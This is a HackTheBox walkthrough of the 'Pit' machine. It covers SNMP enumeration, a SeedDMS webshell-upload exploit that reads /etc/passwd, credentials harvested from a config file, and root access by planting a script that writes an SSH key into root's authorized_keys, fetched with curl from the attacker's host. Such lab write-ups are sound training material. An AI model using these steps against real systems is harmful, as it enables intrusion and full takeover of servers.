Posted onEdited onInHackTheBox walkthroughViews: Word count in article: 4.8kReading time ≈18 mins.
introduce
OS: Linux Difficulty: Medium Points: 30 Release: 15 May 2021 IP: 10.10.10.241
information gathering
first use nmap as usaul
1 2 3 4 5 6
┌──(root💀kali)-[~/hackthebox/machine/pit] └─# nmap -sV -v -p- --min-rate=10000 10.10.10.241 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.0 (protocol 2.0) 80/tcp open http nginx 1.14.1 9090/tcp open ssl/zeus-admin?
Initial Nmap scan reveals the machine is running SSH and HTTP/s service. Port 9090 is HTTPS, the TLS certificate discloses hostname. Let’s add hostname to hosts file.
1
10.10.10.241 pit.htb dms-pit.htb
The HTB tweet gives us a small hint about the box. “Walk”, as in SNMP.
Let’s do a quick UDP ping and find whether SNMP port is open or closed.
Starting Nping 0.7.91 ( https://nmap.org/nping ) at 2021-05-21 12:27 EDT SENT (0.0718s) UDP 10.10.14.18:53 > 10.10.10.241:161 ttl=64 id=30254 iplen=28 SENT (1.0721s) UDP 10.10.14.18:53 > 10.10.10.241:161 ttl=64 id=30254 iplen=28 Max rtt: N/A | Min rtt: N/A | Avg rtt: N/A Raw packets sent: 2 (56B) | Rcvd: 0 (0B) | Lost: 2 (100.00%) Nping done: 1 IP address pinged in 2.11 seconds
As you can see we can able to send UDP packets to SNMP port. It is open, we can confirm by running NMAP scan on the port.
1 2 3 4 5 6 7 8 9 10 11 12
┌──(root💀kali)-[~/hackthebox/machine/pit] └─# nmap -sU -p161,162 -sV pit.htb Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-21 12:28 EDT Nmap scan report for pit.htb (10.10.10.241) Host is up (0.35s latency).
PORT STATE SERVICE VERSION 161/udp open snmp SNMPv1 server; net-snmp SNMPv3 server (public) 162/udp filtered snmptrap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 5.63 seconds
As you can see we got the version information of SNMP and it also disclosed it is using ‘Public’ community string for authentication. Public community string is used as password to send request to SNMP server to reveal information and it is default community string. Public string has only read access, it cannot write to SNMP.
Let’s find what SNMP can disclose for us. We will use below perl script, as it can perform multi- threading and parse usable information.
snmp
For NetAddr Error: https://metacpan.org/pod/release/MIKER/NetAddr-IP-4.079/IP.pm#INSTALLATION
If you have multiple IPs to scan give a text file and increase the thread size from 1 to 8 or 16 or 32. Upon completion it generates a file (named as IP of target) with all the information it has collected.
┌──(root💀kali)-[~/hackthebox/machine/pit] └─# head 10.10.10.241.snmp .1.3.6.1.2.1.1.1.0 = STRING: Linux pit.htb 4.18.0-240.22.1.el8_3.x86_64 #1 SMP Thu Apr 8 19:01:30 UTC 2021 x86_64 .1.3.6.1.2.1.1.2.0 = OID: .1.3.6.1.4.1.8072.3.2.10 .1.3.6.1.2.1.1.3.0 = Timeticks: (6114324) 16:59:03.24 .1.3.6.1.2.1.1.4.0 = STRING: Root <root@localhost> (configure /etc/snmp/snmp.local.conf) .1.3.6.1.2.1.1.5.0 = STRING: pit.htb .1.3.6.1.2.1.1.6.0 = STRING: Unknown (edit /etc/snmp/snmpd.conf) -----SNIP-------- .1.3.6.1.4.1.2021.9.1.2.2 = STRING: /var/www/html/seeddms51x/seeddms .1.3.6.1.4.1.2021.9.1.3.1 = STRING: /dev/mapper/cl-root .1.3.6.1.4.1.2021.9.1.3.2 = STRING: /dev/mapper/cl-seeddms -----SNIP-------- .1.3.6.1.4.1.8072.1.3.2.2.1.2.10.109.111.110.105.116.111.114.105.110.103 = STRING: /usr/ bin/monitor -----SNIP-------- Database status OK - Connection to database successful. System release info CentOS Linux release 8.3.2011 SELinux Settings user -----SNIP-------- Login Name SELinux User MLS/MCS Range Service __default__ unconfined_u s0-s0:c0.c1023 * michelle user_u s0 * root unconfined_u s0-s0:c0.c1023 * System uptime 09:59:08 up 17:00, 2 users, load average: 0.00, 0.00, 0.00 -----SNIP--------
We got Linux Kernel version, web directory, OS version, username and binary location. These information will be useful in further steps.
Let’s access HTTPS service.
1
https://10.10.10.241:9090/
If we read the page source, the we’d find that this is a ”cockpit web console”, it allows admin/ users to perfrom limited/Administrative tasks on server.
I tried SSRF for version 234 and it is not useful in our situation. Let’s check the other HTTP server.
It is forbidden for us to access. Perhaps there’s a different directory which we can access. I ran GoBuster and found out nothing. Code Execution In SNMP dump, we saw something related to DMS.
Upon quick google, we find that “SeedDMS” is an open-source document management system. Let’s try to append the directory name in web address bar and access.
We get this login page. If we try to login via common credentials then it fails. But, if we try the username which we found via SNMP enumeration then it would work.
1
michelle/michelle
Once we login, we’d see a note from administrator saying that they have upgraded the software to 5.1.15 from 5.1.10.
Let’s do quick search for an exploit to this version.
Step 1: Login to the application and under any folder add a document. Step 2: Choose the document as a simple php backdoor file or any backdoor/webshell could be used.
Step 3: Now after uploading the file check the document id corresponding to the document. Step 4: Now go to example.com/data/1048576/"document_id"/1.php?cmd=cat+/etc/passwd to get the command response in browser.
Note: Here "data" and "1048576" are default folders where the uploaded files are getting saved.
We just need to upload webshell on machine and access via from default directory and document ID. The file name will be changed to 1.php. For some reason we webshell which gives reverse connection doesn’t work, so we have to use the above mentioned php code to execute commands.
Save that php code in file and we need to upload it in the “Michelle’s” folder.
It doesn’t really matter what you name the file, it get turned to 1.php. If you look over “download” button the you’d find the document ID, which is required to access the php file.
Note: On machine a clean-up script is running and it deletes the uploaded file after every 5 minutes.
root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:65534:65534:Kernel Overflow User:/:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin systemd-coredump:x:999:997:systemd Core Dumper:/:/sbin/nologin systemd-resolve:x:193:193:systemd Resolver:/:/sbin/nologin tss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin polkitd:x:998:995:User for polkitd:/:/sbin/nologin unbound:x:997:994:Unbound DNS resolver:/etc/unbound:/sbin/nologin sssd:x:996:992:User for sssd:/:/sbin/nologin chrony:x:995:991::/var/lib/chrony:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin michelle:x:1000:1000::/home/michelle:/bin/bash setroubleshoot:x:994:990::/var/lib/setroubleshoot:/sbin/nologin cockpit-ws:x:993:989:User for cockpit-ws:/nonexisting:/sbin/nologin mysql:x:27:27:MySQL Server:/var/lib/mysql:/sbin/nologin nginx:x:992:988:Nginx web server:/var/lib/nginx:/sbin/nologin apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin cockpit-wsinstance:x:991:987:User for cockpit-ws instances:/nonexisting:/sbin/nologin rngd:x:990:986:Random Number Generator Daemon:/var/lib/rngd:/sbin/nologin
We got command execution. But, due to some reason we can’t able to get reverse connection on our machine. Let’s search for any stored credentials on target machine.
Initial Access If we visit the configuration directory and access the settings.xml file then we will get MYSQL creds.
<pre><?xml version="1.0" encoding="UTF-8"?> <configuration> <site> <!-- siteName: Name of site used in the page titles. Default: SeedDMS - footNote: Message to display at the bottom of every page - printDisclaimer: iftrue the disclaimer message the lang.inc files will be print on the bottom of the page - language: default language (name of a subfolder in folder "languages") - theme: default style (name of a subfolder in folder "styles") --> <display siteName="SeedDMS" footNote="SeedDMS free document management system - www.seeddms.org" printDisclaimer="true" language="en_GB" theme="bootstrap" previewWidthList="40" previewWidthDetail="100" availablelanguages="" showFullPreview="false" convertToPdf="false" previewWidthMenuList="40" previewWidthDropFolderList="100" maxItemsPerPage="0" incItemsPerPage="0"> </display> <!-- strictFormCheck: Strict form checking. If set to true, then all fields in the form will be checked for a value. If set to false, then (most) comments and keyword fields become optional. Comments are always required when submitting a review or overriding document status. - viewOnlineFileTypes: files with one of the following endings can be viewed online (USE ONLY LOWER CASE CHARACTERS) - enableConverting: enable/disable converting of files - enableEmail: enable/disable automatic email notification - enableUsersView: enable/disable group and user view for all users - enableFullSearch: false to don't use fulltext search - enableLanguageSelector: false to don't show the language selector after login - enableClipboard: false to hide the clipboard - enableFolderTree: false to don't show the folder tree - expandFolderTree: 0 to start with tree hidden - 1 to start with tree shown and first level expanded - 2 to start with tree shown fully expanded - stopWordsFile: path to stop word file for indexer - sortUsersInList: how to sort users in lists ('fullname' or '' (default)) --> <edition strictFormCheck="false" viewOnlineFileTypes=".txt;.text;.html;.htm;.xml;.pdf;.gif;.png;.jpg;.jpeg" enableConverting="true" enableEmail="true" enableUsersView="true" enableFullSearch="true" enableClipboard="false" enableFolderTree="true" expandFolderTree="1" enableLanguageSelector="true" stopWordsFile="" sortUsersInList="" enableDropUpload="false" enableRecursiveCount="false" maxRecursiveCount="0" enableThemeSelector="false" fullSearchEngine="sqlitefts" sortFoldersDefault="u" editOnlineFileTypes="" enableMenuTasks="false" enableHelp="false" defaultSearchMethod="database" libraryFolder="0" maxSizeForFullText="0" showSingleSearchHit="false" enableSessionList="false" enableDropFolderList="false" enableMultiUpload="false" defaultDocPosition="end"> </edition> <!-- enableCalendar: enable/disable calendar - calendarDefaultView: calendar default view ("w" for week,"m" for month,"y" for year) - firstDayOfWeek: first day of the week (0=sunday, 6=saturday) --> <calendar enableCalendar="true" calendarDefaultView="y" firstDayOfWeek="0"> </calendar> <webdav enableWebdavReplaceDoc="true"/></site> <system> <!-- rootDir: Path to where SeedDMS is located - httpRoot: The relative path in the URL, after the domain part. Do not include the - http:// prefix or the web host name. e.g. If the full URL is - http://www.example.com/seeddms/, set $_httpRoot = "/seeddms/". - If the URL is http://www.example.com/, set $_httpRoot = "/". - contentDir: Where the uploaded files are stored (best to choose a directory that - is not accessible through your web-server) - stagingDir: Where partial file uploads are saved - luceneDir: Where the lucene fulltext index iѕ saved - logFileEnable: set false to disable log system - logFileRotation: the log file rotation (h=hourly, d=daily, m=monthly) - enableLargeFileUpload: support for jumploader - partitionsize: size of chunk uploaded by jumploader - dropFolderDir: where files for document upload are located - cacheDir: where the preview images are saved --> <server rootDir="/var/www/html/seeddms51x/seeddms/" httpRoot="/seeddms51x/seeddms/" contentDir="/var/www/html/seeddms51x/data/" stagingDir="/var/www/html/seeddms51x/data/staging/" luceneDir="/var/www/html/seeddms51x/data/lucene/" logFileEnable="true" logFileRotation="d" enableLargeFileUpload="false" partitionSize="2000000" cacheDir="/var/www/html/seeddms51x/data/cache/" dropFolderDir="" backupDir="" repositoryUrl="" maxUploadSize="" enableXsendfile="false"> </server> <!-- enableGuestLogin: If you want anybody to login as guest, set the following line to true - note: guest login should be used only in a trusted environment - enablePasswordForgotten: Allow users to reset their password - restricted: Restricted access: only allow users to log in if they have an entry in the local database (irrespective of successful authentication with LDAP). - enableUserImage: enable users images - disableSelfEdit: if true user cannot edit his own profile - passwordStrength: minimum strength of password, set to 0 to disable - passwordExpiration: number of days after password expires - passwordHistory: number of remembered passwords - passwordStrengthAlgorithm: algorithm used to calculate password strenght (simple or advanced) - encryptionKey: arbitrary string used for creating identifiers --> <authentication enableGuestLogin="false" enablePasswordForgotten="false" restricted="true" enableUserImage="false" disableSelfEdit="false" passwordStrength="0" passwordStrengthAlgorithm="simple" passwordExpiration="10" passwordHistory="0" loginFailure="0" autoLoginUser="0" quota="0" undelUserIds="" encryptionKey="cfecb42d13f2e1666cddde56991a2cbf" cookieLifetime="0" enableGuestAutoLogin="false" defaultAccessDocs="0"> <connectors> <!-- ***** CONNECTOR LDAP ***** - enable: enable/disable connector - type: type of connector ldap / AD - host: hostname of the authentification server - URIs are supported, e.g.: ldaps://ldap.host.com - port: port of the authentification server - baseDN: top level of the LDAP directory tree --> <connector enable="false" type="ldap" host="ldaps://ldap.host.com" port="389" baseDN="" bindDN="" bindPw=""> </connector> <!-- ***** CONNECTOR Microsoft Active Directory ***** - enable: enable/disable connector - type: type of connector ldap / AD - host: hostname of the authentification server - port: port of the authentification server - baseDN: top level of the LDAP directory tree - accountDomainName: sample: example.com --> <connector enable="false" type="AD" host="ldap.example.com" port="389" baseDN="" accountDomainName="example.com" bindDN="" bindPw=""> </connector> </connectors> </authentication> <!-- - dbDriver: DB-Driver used by adodb (see adodb-readme) - dbHostname: DB-Server - dbDatabase: database where the tables for seeddms are stored (optional - see adodb-readme) - dbUser: username for database-access - dbPass: password for database-access --> <database dbDriver="mysql" dbHostname="localhost" dbDatabase="seeddms" dbUser="seeddms" dbPass="ied^ieY6xoquu" doNotCheckVersion="false"> </database> <!-- smtpServer: SMTP Server hostname - smtpPort: SMTP Server port - smtpSendFrom: Send from --> <smtp smtpServer="localhost" smtpPort="25" smtpSendFrom="seeddms@localhost" smtpUser="" smtpPassword=""/> </system> <advanced> <!-- siteDefaultPage: Default page on login. Defaults to out/out.ViewFolder.php - rootFolderID: ID of root-folder (mostly no need to change) - titleDisplayHack: Workaround for page titles that go over more than 2 lines. --> <display siteDefaultPage="" rootFolderID="1" titleDisplayHack="true" showMissingTranslations="false"> </display> <!-- guestID: ID of guest-user used when logged in as guest (mostly no need to change) - adminIP: if enabled admin can login only by specified IP addres, leave empty to avoid the control - NOTE: works only with local autentication (no LDAP) --> <authentication guestID="2" adminIP=""> </authentication> <!-- enableAdminRevApp: false to don't list administrator as reviewer/approver - versioningFileName: the name of the versioning info file created by the backup tool - workflowMode: 'traditional' or 'advanced' - enableVersionDeletion: allow to delete versions after approval - enableVersionModification: allow to modify versions after approval - enableDuplicateDocNames: allow duplicate names in a folder --> <edition enableAdminRevApp="false" versioningFileName="versioning_info.txt" workflowMode="traditional" enableVersionDeletion="true" enableVersionModification="true" enableDuplicateDocNames="true" enableOwnerRevApp="false" enableSelfRevApp="false" presetExpirationDate="" overrideMimeType="false" initialDocumentStatus="0" enableAcknowledgeWorkflow="" enableRevisionWorkflow="" advancedAcl="false" enableUpdateRevApp="false" removeFromDropFolder="false" allowReviewerOnly="false"> </edition> <!-- enableNotificationAppRev: true to send notifation if a user is added as a reviewer or approver --> <notification enableNotificationAppRev="true" enableOwnerNotification="false" enableNotificationWorkflow="false"> </notification> <!-- coreDir: Path to SeedDMS_Core (optional) - luceneClassDir: Path to SeedDMS_Lucene (optional) - contentOffsetDir: To work around limitations in the underlying file system, a new - directory structure has been devised that exists within the content - directory ($_contentDir). This requires a base directory from which - to begin. Usually leave this to the default setting, 1048576, but can - be any number or string that does not already exist within $_contentDir. - maxDirID: Maximum number of sub-directories per parent directory. Default: 0, use 31998 (maximum number of dirsin ext3) for a multi level content directory. - updateNotifyTime: users are notified about document-changes that took place within the last "updateNotifyTime" seconds - extraPath: Path to addtional software. This is the directory containing additional software like the adodb directory, or the pear Log package. This path will be added to the php include path --> <server coreDir="" luceneClassDir="" contentOffsetDir="1048576" maxDirID="0" updateNotifyTime="86400" extraPath="/var/www/html/seeddms51x/pear/" maxExecutionTime="30" cmdTimeout="10"> </server> <converters target="fulltext"> <converter mimeType="application/pdf">pdftotext -nopgbrk %s - | sed -e 's/ [a-zA-Z0-9.]\{1\} / /g' -e 's/[0-9.]//g'</converter> <converter mimeType="application/msword">catdoc %s</converter> <converter mimeType="application/vnd.ms-excel">ssconvert -T Gnumeric_stf:stf_csv -S %s fd://1</converter> <converter mimeType="audio/mp3">id3 -l -R %s | egrep '(Title|Artist|Album)' | sed 's/^[^:]*: //g'</converter> <converter mimeType="audio/mpeg">id3 -l -R %s | egrep '(Title|Artist|Album)' | sed 's/^[^:]*: //g'</converter> <converter mimeType="text/plain">cat %s</converter> </converters>
MYSQL DB is not accessible to other IPs as it is bound to localhost only. Let’s try these this password with admin/root/michelle user on “cockpit web console”. I tried these creds to access SSH, but unfortunately SSH is configured to allow only Public-Private keys not password.
and we got user.txt
1 2 3 4 5 6
[michelle@pit ~]$ id uid=1000(michelle) gid=1000(michelle) groups=1000(michelle) context=user_u:user_r:user_t:s0 [michelle@pit ~]$ ls user.txt [michelle@pit ~]$ cat user.txt bc22c2a8b56625680ca457a243dd2a84
I ran through LinPeas on the machine in search for any paths to escalate privileges, but couldn’t find any.
Privilege Escalation
If we remember SNMP dump we found that there’s a binary file is being run on the machine.
for script in /usr/local/monitoring/check*sh do /bin/bash $script done
It’s a script being run from another location. Let’s check that out.
1 2
[michelle@pit ~]$ ls -la /usr/local/monitoring/ ls: cannot open directory '/usr/local/monitoring/': Permission denied
We cannot list content of this directory, let’s check what permission we have for this directory
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
[michelle@pit ~]$ ls -la /usr/local/ total 0 drwxr-xr-x. 13 root root 149 Nov 3 2020 . drwxr-xr-x. 12 root root 144 May 10 05:06 .. drwxr-xr-x. 2 root root 6 Nov 3 2020 bin drwxr-xr-x. 2 root root 6 Nov 3 2020 etc drwxr-xr-x. 2 root root 6 Nov 3 2020 games drwxr-xr-x. 2 root root 6 Nov 3 2020 include drwxr-xr-x. 2 root root 6 Nov 3 2020 lib drwxr-xr-x. 3 root root 17 May 10 05:06 lib64 drwxr-xr-x. 2 root root 6 Nov 3 2020 libexec drwxrwx---+ 2 root root 122 May 21 13:55 monitoring drwxr-xr-x. 2 root root 6 Nov 3 2020 sbin drwxr-xr-x. 5 root root 49 Nov 3 2020 share drwxr-xr-x. 2 root root 6 Nov 3 2020 src
We have read/write/execute permission for this directory and also + is there, it simply means ACLs are implemented on this directory. In simple terms extended permissions. let’s check the extended permissions.
As you can see, owner is root, other users have full permission but ‘Michelle’ user has only write and execute permission. Let’s try to create a file and find out.
1 2 3
[michelle@pit ~]$ echo"test" > /usr/local/monitoring/demo.txt [michelle@pit ~]$ cat /usr/local/monitoring/demo.txt test
It worked, we can dump shell file inside this directory and call it via SNMPwalk. First we need to create a shell file with our SSH public keys, upon execution it should copy keys to root’s SSH directory.
1 2 3 4 5 6
[michelle@pit ~]$ curl http://10.10.14.18:82/check.sh -o check.sh % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 598 100 598 0 0 862 0 --:--:-- --:--:-- --:--:-- 862 [michelle@pit ~]$ cat check.sh echo"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDMR1r7B7aiEe6j+wBsVumAFqFXCiqw2iSrcg1S7rC1BdlVqr8YfWnT6e/e3+TAJk9idtLz/wN2MkupWtI1ddtNTJz31RQb0WMGjq7p8Usg0uIYhQH0PTN/GmPXDhqLIPcbTnNQMcV2PnwM07eXxQH0+s9rqVO8cR2z2f35bKe3WrHNnT7NwfOoWqNJxh+V8OGgfF8LhS0E46I6co76MJAIsX24Zs9r/dY+JPOlJlS3K2Kf3xSfPAScQeWip1WYY9depVuQywk12kOUikzGNjlQ4phNba47VjfycyV34cLw0/vQcDv5hMCfaK+hoE5rBXysnVx/f3n3zRYMLomgveQUCLBYUwJPE2t0VzeeX4W9wxrAOl2Njx5TI4cEFnmlp/6lO/iK+aC6BSBRxU19jS2fUchiN9PMgLSYGzhuIxOLvvd9AlaOYPNM7a5AfjzzO+gd1fv/Mb9EIZCKibtvpHp0eomnSDcDz/b9FNpbvg6V5NBVy2VaufcRbiBDD6cTS00= root@kali" > /root/.ssh/authorized_keys
Now we need to copy this file to monitoring directory.
1
cp check.sh /usr/local/monitoring/
Make sure you can read the file after copying it to monitoring directory.
Note: ‘1.3.6.1.4.1.8072.1.3.2’ is called as OID (Object Identifiers). It is an address used to uniquely identify managed devices and their statuses in a network.
We can easily match the number for the following numbers 1.3.6.1.4.1 with above SNMP MIB (management information base) tree structure. The following number 8072 is device/application manufacturer (netSnmp) and remaining numbers 1.3.2.2.1.2 are part of netExtensions. Below is the complete description of OID.
As you can see the OID value is given for a string and that string is monitor script. When we run SNMPwalk from Kali Linux, on target root runs on behalf to execute those script.
Upon SNMPwalk on OID value, we can SSH into machine and read our root flag.
# Remove attached files (keep "Upgrade Note") for d in `/usr/bin/find /var/www/html/seeddms51x/data/1048576/ -mindepth 1 -type d -mmin +5 -not -name 21` do rm -rf $d id=${d##*/} /usr/bin/mysql -u root -p'ek)aizee^FaiModa~ce]z6c' seeddms <<DELETE_QUERY DELETE FROM tblDocumentContent where id = $id; DELETE FROM tblDocuments where id = $id; DELETE_QUERY done